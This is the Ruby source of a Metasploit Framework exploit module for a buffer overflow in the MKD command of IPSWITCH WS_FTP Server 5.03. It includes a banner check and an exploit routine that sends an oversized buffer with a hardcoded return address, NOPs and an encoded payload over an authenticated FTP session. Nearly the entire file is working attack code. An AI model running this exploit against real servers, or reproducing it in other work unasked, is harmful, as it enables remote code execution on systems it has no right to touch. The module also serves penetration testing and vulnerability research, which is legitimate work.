89 lines
2.0 KiB
Ruby
89 lines
2.0 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::Ftp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'WS-FTP Server 5.03 MKD Overflow',
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'Description' => %q{
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This module exploits the buffer overflow found in the MKD
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command in IPSWITCH WS_FTP Server 5.03 discovered by Reed
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Arvin.
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},
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'Author' => [ 'ET LoWNOISE <et@cyberspace.org>', 'Reed Arvin <reedarvin@gmail.com>' ],
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'License' => BSD_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '11772'],
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[ 'MIL', '79'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 480,
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'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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[
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'WS-FTP Server 5.03 Universal',
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{
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'Platform' => 'win',
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'Ret' => 0x25185bb8,
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# Address is executable to allow XP and 2K
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# 0x25185bb8 = push esp, ret (libeay32.dll)
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# B85B1825XX = mov eax,0xXX25185b
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},
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],
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],
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'DisclosureDate' => 'Nov 29 2004',
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'DefaultTarget' => 0))
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end
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def check
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connect
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disconnect
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if (banner =~ /5\.0\.3/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect_login
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print_status("Trying target #{target.name}...")
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buf = rand_text_alphanumeric(8192)
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buf[498, 4] = [ 0x7ffd3001 ].pack('V')
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buf[514, 4] = [ target.ret ].pack('V')
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buf[518, 4] = [ target.ret ].pack('V')
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buf[522, 2] = make_nops(2)
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buf[524, payload.encoded.length] = payload.encoded
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send_cmd( ['MKD', buf], true );
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handler
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disconnect
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end
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end |